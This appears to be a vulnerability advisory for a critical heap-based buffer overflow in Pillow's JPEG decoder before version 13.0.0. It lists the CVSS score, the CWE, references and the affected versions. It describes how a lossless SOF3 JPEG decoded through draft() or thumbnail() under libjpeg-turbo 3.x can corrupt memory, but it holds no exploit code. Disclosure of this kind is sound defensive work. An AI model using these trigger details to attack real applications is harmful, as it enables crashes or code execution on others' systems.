Pillow is a Python imaging library. Prior to 13.0.0, Pillow's JPEG decoder can write a full-width scanline into a buffer sized for a requested draft scale. ImagingJpegDecode does not verify libjpeg's actual output width and component count after scaling is requested, and an 8-bit lossless SOF3 JPEG decoded by a build linked to libjpeg-turbo 3.x can ignore the requested downscaling geometry. An attacker can supply such a JPEG to an application that uses draft() or thumbnail() to request downscaling. This can corrupt heap memory, crash the process, or potentially allow code execution. Older libjpeg-turbo 2.x and IJG builds reject the SOF3 input. This issue is fixed in version 13.0.0.

Severity

9.2 (Critical)


                        
                          CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CWE

CWE-122 - Heap-based Buffer Overflow

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7658 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/python-pillow/Pillow/security/…	x_refsource_CONFIRM
https://github.com/python-pillow/Pillow/commit/24…	x_refsource_MISC
https://github.com/python-pillow/Pillow/releases/…	x_refsource_MISC

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1 product

Vendor	Product	Version
python-pillow	Pillow	Affected: < 13.0.0

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make_sof3.py

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